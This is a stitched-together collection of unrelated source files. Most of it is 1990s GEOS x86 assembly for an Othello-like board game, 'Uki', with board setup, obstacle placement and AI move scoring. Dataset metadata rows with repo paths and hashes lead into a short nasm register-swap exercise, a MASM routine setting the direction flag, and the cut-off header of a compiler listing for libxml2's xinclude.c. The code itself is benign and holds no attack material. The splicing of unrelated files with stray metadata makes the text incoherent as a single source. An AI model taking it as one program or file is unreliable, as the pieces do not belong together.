jimmy 2/ 7/92 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
UkiChooseUki method UkiContentClass, MSG_UKI_CHOOSE_UKI
UkiAssignFunction initGame, UkiInitGame
UkiAssignFunction validMove, UkiIsClickValidMove
UkiAssignFunction movePiece, UkiMovePiece
UkiAssignFunction adjustMoveValues, UkiAdjustMoveValues
UkiAssignFunction userInput, UkiGetMouseClick
UkiAssignFunction computerFindMove, UkiComputerFindBestMove
; Start the game, maybe
tst ax
jz done
mov ax, UKI_INIT_BOARD_SIZE
mov es:[cells], al
call UkiSetUpBoardSizeUI
mov ax, MSG_UKI_START
call ObjCallInstanceNoLock
done:
ret
UkiChooseUki endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FUNCTION: UkiInitGame
DESCRIPTION: initializes all state variables for a new game
PASS: nothing
RETURN: nothing
DESTROYED: ax, bx, cx, dx
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jimmy 2/91 initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
UkiInitGame proc far
;CELLS = 7
;LINES = CELLS+1
;BAD_COORD = LINES
;MAXCELLS = CELLS*CELLS
mov es:[obstacles], 0
mov al, es:[cells]
shr al
mov bl, al
mov cx, mask GDN_PLAYER2
call UkiSetNode
dec al
mov cx, mask GDN_PLAYER1
call UkiSetNode
dec bl
mov cx, mask GDN_PLAYER2
call UkiSetNode
inc al
mov cx, mask GDN_PLAYER1
call UkiSetNode
initLoop:
; keep initting the obstcles until the first guy can go...
call UkiInitObstacles
call UkiComputerMoveSearch ; find best move
; if the bestMoveCoord has an x coordinate of BAD_COORD then
; there were no possible moves for player1 so re-init the obstacles
cmp es:[bestMoveCoord].x_pos,BAD_COORD
je initLoop
; if no obstacles got put up, try again...
; unless of course there aren't supposed to be any
tst es:[obstacles]
jnz done ; have obstacles, ok we are done
; ok, no obstacles, if maxObstacles is zero then we are not supposed
; to have obstacles so we are done, else try again
tst es:[maxObstacles]
jnz initLoop
done:
ret
UkiInitGame endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
UkiInitObstacles
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS:
put up a symmetric pattern of obstacles four at a time,
up to maxObstacles
(could be 0)
CALLED BY: UkiInitGame
PASS: nothing
RETURN: Void.
DESTROYED: Nada.
PSEUDOCODE/STRATEGY:
for each of the upper left quadrant squares, randomly decide to
add an obstacle, if yes then duplicate it symmetrically in other
3 quadrants until we are done with all the upper left quadrant or have
reached the maximum number of obstacles
KNOWN BUGS/SIDEFFECTS/IDEAS: ????
REVISION HISTORY:
Name Date Description
---- ---- -----------
jimmy 6/18/91 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
UkiInitObstacles proc near
; start at 0,0
mov ax, 0
mov bx, ax
; init number of obstacles to zero
mov es:[obstacles], ax
initloop:
; if the node already has an obstacle then we are being called
; again from UkiInitGame because they board set up didn't allow
; a first move, so just blank out the obstacle and continue as if
; this was a blank space all along
; if the current node is not empty (zero) then don't put an
; obstacle there
call UkiGetNode
cmp cl, mask GDN_OBSTACLE
jne notObstacle
mov dl, 0
call UkiDoObstacle
notObstacle:
tst cx
jnz cont
; else randomly decide to add an obstacle or not using a weighting
; factor of OBSTACLE_FREQEUNCY
mov dx, es:[obstacles]
cmp dx, es:[maxObstacles]
jge done
call FastRandom
and dx, UKI_OBSTACLE_FREQUENCY
tst dx
jnz cont
; we have decided to add an obstacles do add it symetrically to all
; four quadrants
mov dl, mask GDN_OBSTACLE
call UkiDoObstacle
cont:
; we are only doing the upper quadrant do calculate the x and y
; to which we need to loop through, not effecient, but whose counting?
push bx
inc al
mov bl, es:[cells]
shr bl
; inc bl
cmp al, bl
pop bx
jl initloop
inc bl
mov al, es:[cells]
shr al
; inc al
cmp bl, al
mov al, 0
jl initloop
done:
ret
UkiInitObstacles endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
UkiDoObstacle
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: adds four obstacles the given one in the first quadrant and
then added the other 3 symmetric ones in the other three
quadrants
CALLED BY: GLOBAL
PASS: ax, bx = cell coordinate in first quadrant
dl = value to put in the 4 cells (GameDataNode type)
RETURN: Void.
DESTROYED: Nada.
PSEUDOCODE/STRATEGY:
KNOWN BUGS/SIDEFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jimmy 11/30/92 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
UkiDoObstacle proc near
uses ax, bx
.enter
mov cl, dl
call UkiSetNode
push bx
push ax
mov al, es:[cells]
dec al
sub al, bl
mov bl, al
pop ax
mov cl, dl
call UkiSetNode
push bx
mov bl, es:[cells]
dec bl
sub bl, al
mov al, bl
pop bx
mov cl, dl
call UkiSetNode
pop bx
mov cl, dl
call UkiSetNode
tst dl ; if we are clearing things out
jz done ; then don't update number of obstacles
add es:[obstacles], 4
done:
.leave
ret
UkiDoObstacle endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FUNCTION: UkiAdjustMoveValues
DESCRIPTION: change the parameters to calculate moves value as game
goes along
PASS: nothing
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jimmy 2/91 initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
UkiAdjustMoveValues proc far
cmp dl, 20
jl done
mov es:[generalValue2], UKI_EDGE_MOVE_VALUE_1
cmp dl, 35
jl done
mov es:[generalValue2], UKI_EDGE_MOVE_VALUE_2
cmp dl, 50
jl done
mov es:[generalValue2], UKI_EDGE_MOVE_VALUE_3
cmp dl, 65
jl done
mov es:[generalValue2], UKI_EDGE_MOVE_VALUE_4
cmp dl, 80
jl done
mov es:[generalValue2], UKI_EDGE_MOVE_VALUE_5
done:
ret
UkiAdjustMoveValues endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FUNCTION: UkiGetMouseClick
DESCRIPTION: respond to a mouse click on the board
PASS: cx,dx = position of mouse click in grid coordinates
RETURN:
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jimmy 2/91 initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
UkiGetMouseClick proc far
; now see the current status of that cell
mov bx, es:[gameBoard]
call MemLock
mov ds, ax
mov_tr ax, cx
mov_tr bx, dx
call UkiGetNode
; see if it is occupied by a piece owned by the current player
tst cl
jnz noMove
xchg ax, cx
xchg bx, dx
call UkiIsClickValidMove
tst cl
jz noMove
mov ch, al
mov dh, bl
call UkiMovePiece
call UkiCallComputerMove
mov si, UKI_MOVE_MADE
jmp done
noMove:
mov si, UKI_NO_MOVE_MADE
done:
mov bx, es:[gameBoard]
call MemUnlock
ret
UkiGetMouseClick endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FUNCTION: UkiIsClickValidMove
DESCRIPTION: check to see if a move is a legal move
PASS: cl, dl = clicked position
RETURN: cl = number of opponents captured (0 == illegal move)
al, bl = cl, dl that got passed in
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jimmy 2/91 initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
UkiIsClickValidMove proc far
.enter
mov_tr ax, cx
mov_tr bx, dx
clr cl
mov dl, -1
mov dh, -1
checkloop:
call UkiCheckLine
inc dl
cmp dl, 2
jl checkloop
mov dl, -1
inc dh
cmp dh, 2
jl checkloop
.leave
ret
UkiIsClickValidMove endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FUNCTION: UkiCheckLine
DESCRIPTION: giveen a starting position and direction see if any
opponents are captured along that line
PASS: al, bl starting point
dl, dh = direction vector (ie -1,-1 or 1,0 or 0,1)
cl = value of move so far
RETURN:
cl = value of move after checking this row
(ie. passed in cl + number of oppnents
taken in this row)
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jimmy 2/91 initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
UkiCheckLine proc near
uses ax, bx, dx
.enter
push cx
mov cl, dl
or dl, dh
tst dl
pushf
mov dl, cl
clr cl
popf
jz nogoodPopCX
cmp es:[whoseTurn], offset player1
jz doplayer1
mov ah, mask GDN_PLAYER1
jmp checkloop
doplayer1:
mov ah, mask GDN_PLAYER2
checkloop:
add al, dl
add bl, dh
call UkiCheckBounds
jc nogoodPopCX
push cx
call UkiGetNode
tst cl
jz nogoodPopCXCX
cmp cl, mask GDN_OBSTACLE
jz nogoodPopCXCX
mov si, es:[whoseTurn]
cmp cl, es:[si].SP_player
jz contPopCX
pop cx
inc cl
jmp checkloop
nogoodPopCX:
pop cx
jmp done
nogoodPopCXCX:
pop cx
pop cx
jmp done
contPopCX:
pop cx
mov al, cl
pop cx
add cl , al
done:
.leave
ret
UkiCheckLine endp
if 0
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
UkiIsEdgeMove
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS:
CALLED BY: ????
PASS: al, bl = position
dl, dh is line vector
RETURN: ch = 0 or 1
DESTROYED: Nada.
PSEUDOCODE/STRATEGY: ????
KNOWN BUGS/SIDEFFECTS/IDEAS: ????
REVISION HISTORY:
Name Date Description
---- ---- -----------
jimmy 6/17/91 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
UkiIsEdgeMove proc near
uses ax, bx, dx
.enter
clr ch
tst al
jnz checkHighX
doVertical:
tst dl
jnz done
mov ch, 1
jmp done
checkHighX:
inc al
cmp al, es:[cells]
jnz checkLowY
jmp doVertical
checkLowY:
tst bl
jnz checkHighY
doHorizontal:
tst dh
jnz done
mov ch, 1
jmp done
checkHighY:
inc bl
cmp bl, es:[cells]
jnz done
jmp doHorizontal
done:
.leave
ret
UkiIsEdgeMove endp
endif
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FUNCTION: UkiCheckBounds
DESCRIPTION: check the bounds of a position
PASS: al, bl grid position
RETURN:
DESTROYED: ???
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jimmy 2/91 initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
UkiCheckBounds proc near
tst al
jl outOfBounds
tst bl
jl outOfBounds
cmp al, es:[cells]
jge outOfBounds
cmp bl, es:[cells]
jge outOfBounds
clc
jmp done
outOfBounds:
stc
done:
ret
UkiCheckBounds endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FUNCTION: UkiMovePiece
DESCRIPTION: update board and screen for a given move
PASS: ch,dh: position to move to
cl: type of move (1 = jump, 3 = replication)
RETURN: nothing
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jimmy 2/91 initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
UkiMovePiece proc far
mov al, ch
mov bl, dh
mov si, es:[whoseTurn]
inc es:[si].SP_numberOfGuys
mov cl, es:[si].SP_player
call UkiSetNode
mov cl, es:[si].SP_pieceColor
clr es:[si].SP_noMoveCount
call UkiDrawPlayer
; if we took a hint, then the new piece got drawn over
; the hint, so mark the hint as BAD_COORD so that it
; doesn't try to undo it later
cmp al, es:[hintMoveCoord].x_pos
jnz skiphint
cmp bl, es:[hintMoveCoord].y_pos
jnz skiphint
mov es:[hintMoveCoord].x_pos, BAD_COORD
skiphint:
call UkiAffectOpponent
ret
UkiMovePiece endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FUNCTION: UkiAffectOpponent
DESCRIPTION: turn over all captured opponents updating board and screen
PASS: al,bl = position moved to
RETURN:
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jimmy 2/91 initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
UkiAffectOpponent proc near
mov dl, -1
mov dh, -1
checkloop:
clr cx
clr si
call UkiCheckLine
tst cl
jz cont
call UkiDoAffect
cont:
inc dl
cmp dl, 2
jl checkloop
mov dl, -1
inc dh
cmp dh, 2
jl checkloop
ret
UkiAffectOpponent endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FUNCTION: UkiDoAffect
DESCRIPTION: turn over opponents along given line
PASS: al, bl position moved to
dl, dh = direction vector
cl = number of opponents in this row to be affected
RETURN:
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jimmy 2/91 initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
UkiDoAffect proc near
uses ax, bx, dx
.enter
cmp es:[whoseTurn], offset player1
jnz doplayer2
add es:[player1].SP_numberOfGuys, cx
sub es:[player2].SP_numberOfGuys, cx
jmp doloop
doplayer2:
add es:[player2].SP_numberOfGuys, cx
sub es:[player1].SP_numberOfGuys, cx
doloop:
add al, dl
add bl, dh
push cx, dx
mov si, es:[whoseTurn]
mov cl, es:[si].SP_player
call UkiSetNode
call UkiDrawCurrentPlayer
pop cx, dx
loop doloop
.leave
ret
UkiDoAffect endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FUNCTION: UkiComputerFindBestMove
DESCRIPTION: find the best move for the computer
PASS: nothing
RETURN: si: 0 if no move found, 1 otherwise
DESTROYED: ???
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jimmy 2/91 initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
UkiComputerFindBestMove proc far
mov bx, es:[gameBoard]
call MemLock
mov ds, ax
clr ax
mov bx, ax
mov si, ax
mov es:[bestMoveSoFar], al
mov es:[bestMoveCoord].x_pos, BAD_COORD
gridloop:
call UkiGetNodeNL
tst cl
jnz cont
call UkiDoBestMoveFromHere
cont:
inc al
cmp al, es:[cells]
jl gridloop
inc bl
clr al
cmp bl, es:[cells]
jl gridloop
mov bx, es:[gameBoard]
call MemUnlock
ret
UkiComputerFindBestMove endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FUNCTION: UkiDoBestFromHere
DESCRIPTION: see if this spot would be valid, and if so get its move value
if its better than the best move so far then mark it as the
best move so far
PASS: al, bl = position
RETURN:
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jimmy 2/91 initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
UkiDoBestMoveFromHere proc near
uses si, dx, bp, cx
.enter
mov cl, al
mov dl, bl
call UkiIsClickValidMove
tst cl
jz done
add cl, UKI_BASE_MOVE_VALUE
; add to cl so base value of a
; legal move is a value great
; enough, so that a "bad"
; move can have a positive value
call UkiFindMoveValue
cmp cl, es:[bestMoveSoFar]
jl done
jg doNewOne
cmp es:[bestMoveCoord].x_pos, BAD_COORD
jz doNewOne
call FastRandom
and dl, UKI_EQUAL_BESTMOVE_FACTOR
jz doNewOne
jmp done
doNewOne:
mov dx, bp
mov es:[bestMoveSoFar], cl
mov es:[bestMoveCoord].x_pos, al
mov es:[bestMoveCoord].y_pos, bl
done:
.leave
ret
UkiDoBestMoveFromHere endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
UkiFindMoveValue
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: get the value for a given move
CALLED BY: GLOBAL
PASS: al, bl = board position
RETURN: move value
DESTROYED: Nada.
PSEUDOCODE/STRATEGY: this is my strategy....
a)
if a move is in the "center" that is, not an edge
or next to an edge then the move value is worth
the base value + the number of opponents turned
b)
if it is next to an edge than subtract a constant
value from the number of stones turned
c)
if its an edge then calculate the number of neighbors
along the edge of the opposing player are there,
if there is one, then the move value is
base value + # players turned - edge_neighbors_constant
if the value isn't 1, (0 or 2), then the move value is
base value + edge_constant + # of players turned
the corners get extra high values
KNOWN BUGS/SIDEFFECTS/IDEAS: ????
REVISION HISTORY:
Name Date Description
---- ---- -----------
jimmy 6/13/91 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
UkiFindMoveValue proc near
uses ax, bx, si
.enter
push ax, bx
mov bx, es:[gameBoard]
call MemLock
mov ds, ax
pop ax, bx
clr ah
mov bh, ah
mov dx, 0
mov si, ax
call UkiFindMoveValueHelp
mov dx, 1
mov si, bx
call UkiFindMoveValueHelp
tst cl
jg done
mov cl, 1
done:
mov bx, es:[gameBoard]
call MemUnlock
.leave
ret
UkiFindMoveValue endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
UkiFindMoveValueHelp
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: helper routine for finding out a moves value
CALLED BY: ????
PASS: al, bl = board position
dl = horizontal edge(1) or vertical edge (0)
cl = move value so far
si = relevent coordinate
ds = gameBoard segment
es = dgroup
RETURN: cl = move value
DESTROYED: dx
PSEUDOCODE/STRATEGY: ????
KNOWN BUGS/SIDEFFECTS/IDEAS: ????
REVISION HISTORY:
Name Date Description
---- ---- -----------
jimmy 6/13/91 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
UkiFindMoveValueHelp proc near
uses ax, bx
.enter
; if si is zero we are at an edge so find value of edge position
tst si
jnz testALhigh ; else cont
; if an edge has one opponent by it then its not "safe"
call UkiCaptureEdgeNeighbors
call UkiCheckEdgeNeighbors
cmp dh, 1 ; as long as not one neighbor, safe move
jnz doEdgeValue
; if the edge has 1 neighbor then make the move value lower
sub cl, UKI_EDGE_NEIGHBORS_VALUE
jmp done
doEdgeValue:
; if its a "safe" edge, add some value to the move, this changes
; of time
add cl, es:[generalValue2]
jmp done
testALhigh:
; if si+1 == cells we are at an edge so find edge position value
xchg ax, si
inc al
cmp al, es:[cells]
xchg ax, si
jnz checkAL2 ; else cont
call UkiCaptureEdgeNeighbors
call UkiCheckEdgeNeighbors
cmp dh, 1
jnz doEdgeValue
checkAL2:
dec si ; restore si to passed in value
; if si == 1 we are next to an edge so subtract from the move value
cmp si, 1
jnz checkALHigh2
doNextToEdge:
tst dl
jz doVertical
checkNextToCorner:
cmp al, 1
jz nextToCorner
mov bl, al
inc al
cmp al, es:[cells]
jnz notNextToCorner
nextToCorner:
sub cl, 20
jmp done
notNextToCorner:
sub cl, UKI_NEXT_TO_EDGE_VALUE
jmp done
doVertical:
xchg ax, bx
jmp checkNextToCorner
checkALHigh2:
; if si+2 == cells we are enxt to an edge so subtract from move value
add si, 2
xchg ax, si
cmp al, es:[cells]
xchg ax, si
jnz done
jmp doNextToEdge
done:
.leave
ret
UkiFindMoveValueHelp endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
UkiCaptureEdgeNeighbors
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS:
CALLED BY: ????
PASS: al, bl = board position
dl = 0 for vertical edge, 1 for horizontal edge
RETURN: cl = new move value
DESTROYED: Nada.
PSEUDOCODE/STRATEGY: ????
KNOWN BUGS/SIDEFFECTS/IDEAS: ????
REVISION HISTORY:
Name Date Description
---- ---- -----------
jimmy 6/18/91 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
UkiCaptureEdgeNeighbors proc near
uses ax, bx, dx, si
.enter
push cx
tst dl
jz doVertical
clr dh
mov dl, -1
clr cl
call UkiCheckLine
mov dh, 1
common:
call UkiCheckLine
tst cl
pop cx
jz done
add cl, UKI_CAPTURE_EDGE_VALUE
jmp done
doVertical:
clr dl
mov dh, -1
clr cl
call UkiCheckLine
mov dl, 1
jmp common
done:
.leave
ret
UkiCaptureEdgeNeighbors endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
UkiCheckEdgeNeighbors
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS:
CALLED BY: ????
PASS: al, bl = board position
dl = 0 for vertical edge, 1 for horizontal edge
RETURN: dh = number of opposing neighbors 0, 1 or 2
ds = gameBoard segment
es = dgroup
DESTROYED: Nada.
PSEUDOCODE/STRATEGY: ????
KNOWN BUGS/SIDEFFECTS/IDEAS: ????
REVISION HISTORY:
Name Date Description
---- ---- -----------
jimmy 6/13/91 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
UkiCheckEdgeNeighbors proc near
uses ax, bx, cx
.enter
mov si, es:[whoseTurn]
clr dh ; init our edge neighbors value to zero
tst dl ; check to see if we are doing vertical
jnz doHoriz ; or horizontal
; if we are doing a horizontal edge the first test to see
; if bl is zero, if so then check below (since the upper left
; corner is [0,0]) else check "above"
tst bl
jz checkBelow
; set al, bl to cell above this cell
dec bl
; set the current state of that cell
call UkiGetNodeNL
; if that cell is empty, then there is no neigbor
; else check to see if it is an oppoising neighbor or a friendly
; one, if opposing, then increment dh else cont
tst cl
jz checkBelowIncBL
and cl, es:[si].SP_player
and cl, 0xf0 ; zero out non relevant bits
tst cl
jnz checkBelowIncBL
inc dh
checkBelowIncBL:
inc bl
checkBelow:
; if we are at the bottom of the board, don't check beyond boundary
inc bl
cmp bl, es:[cells]
jz done
; else get the cell node and check for noeghbors
call UkiGetNodeNL
tst cl
; if a neighbor, check for friendliness
jz done
and cl, es:[si].SP_player
and cl, 0xf0 ; zero out non relevant bits
tst cl
jnz done
inc dh
jmp done
doHoriz:
; check left boundary
tst al
; if at check do right
jz checkRight
; else get node and check for neighbors
dec al
call UkiGetNodeNL
tst cl
; if neighbor, check for friendliness
jz checkRightIncAL
and cl, es:[si].SP_player
and cl, 0xf0 ; zero out piece type info
tst cl
jnz checkRightIncAL
inc dh
checkRightIncAL:
inc al
checkRight:
; now check right boudary
inc al
cmp al, es:[cells]
jz done
; if within boundary get node data
call UkiGetNodeNL
; check for neighbors
tst cl
jz done
; if neighbors, check for friendliness
and cl, es:[si].SP_player
and cl, 0xf0
tst cl
jnz done
inc dh
jmp done
done:
.leave
ret
UkiCheckEdgeNeighbors endp
UkiCode ends
| 21.113177 | 78 | 0.565455 |
3f571fcd5669ce5d529ce53a9a21acc02fa8a5ef | 161 | nasm | Assembly | Projetos/F-Assembly/src/nasm/mov.nasm | gabrielvf1/Z01---Grupo-H | ef44894eb6a245c9b856802dd96ebe0051315602 | [
"Unlicense"
] | null | null | null | Projetos/F-Assembly/src/nasm/mov.nasm | gabrielvf1/Z01---Grupo-H | ef44894eb6a245c9b856802dd96ebe0051315602 | [
"Unlicense"
] | 77 | 2018-03-09T12:33:31.000Z | 2018-05-18T10:42:22.000Z | Projetos/F-Assembly/src/nasm/mov.nasm | gabrielvf1/Z01---Grupo-H | ef44894eb6a245c9b856802dd96ebe0051315602 | [
"Unlicense"
] | null | null | null | leaw $R1,%A
movw (%A),%D
leaw $R0,%A
movw (%A),%S
leaw $R0,%A
movw %D,(%A)
leaw $R1,%A
movw %S,(%A)
leaw $1,%A
movw %A,%D
leaw $R3,%A
movw %D,(%A)
| 11.5 | 13 | 0.478261 |
fed22f3bee802d251c5bf49e586e443db614f196 | 457 | asm | Assembly | Tejas-Simulator/PIN/pin-2.14/source/tools/ToolUnitTests/inline_opt_test_df_ia32.asm | markoshorro/tejas_knl | 5e772aef46362d8bec8ad6d5427b9bcff9be5cfe | [
"Apache-2.0"
] | 17 | 2021-07-10T13:22:26.000Z | 2022-02-09T20:11:39.000Z | pin_kit/source/tools/ToolUnitTests/inline_opt_test_df_ia32.asm | sawansib/SNIPER | 45ec1eeb09b81a7250bc1a1aaa452f16b2b7f497 | [
"MIT"
] | 4 | 2021-08-18T14:07:24.000Z | 2022-01-24T16:38:06.000Z | pin_kit/source/tools/ToolUnitTests/inline_opt_test_df_ia32.asm | sawansib/SNIPER | 45ec1eeb09b81a7250bc1a1aaa452f16b2b7f497 | [
"MIT"
] | 11 | 2016-07-01T02:21:06.000Z | 2020-11-23T08:29:22.000Z | PUBLIC SetDf
.686
.XMM
.model flat, c
.code
SetDf PROC
std
lea eax, [eax + edx]
lea eax, [eax + edx]
lea eax, [eax + edx]
lea eax, [eax + edx]
lea eax, [eax + edx]
lea eax, [eax + edx]
lea eax, [eax + edx]
lea eax, [eax + edx]
lea eax, [eax + edx]
lea eax, [eax + edx]
lea eax, [eax + edx]
lea eax, [eax + edx]
lea eax, [eax + edx]
lea eax, [eax + edx]
ret
SetDf ENDP
end
| 10.880952 | 24 | 0.49453 |
ff6c16961abed824365560e9bc19dad70086e690 | 251,378 | asm | Assembly | win32/VC10/Win32/libxml2_Debug/xinclude.asm | txwizard/libxml2_x64_and_ARM | bc19a931370a09ee379d641a7c9a862fecebff3b | [
"MIT"
] | null | null | null | win32/VC10/Win32/libxml2_Debug/xinclude.asm | txwizard/libxml2_x64_and_ARM | bc19a931370a09ee379d641a7c9a862fecebff3b | [
"MIT"
] | null | null | null | win32/VC10/Win32/libxml2_Debug/xinclude.asm | txwizard/libxml2_x64_and_ARM | bc19a931370a09ee379d641a7c9a862fecebff3b | [
"MIT"
] | null | null | null | ; Listing generated by Microsoft (R) Optimizing Compiler Version 19.16.27027.1
TITLE C:\Users\DAG\Documents\_Clients\CodeProject Authors Group\Windows on ARM\libxml2\libxml2-2.9.9\xinclude.c
.686P
.XMM
include listing.inc
.model flat
INCLUDELIB MSVCRTD
INCLUDELIB OLDNAMES
_DATA SEGMENT
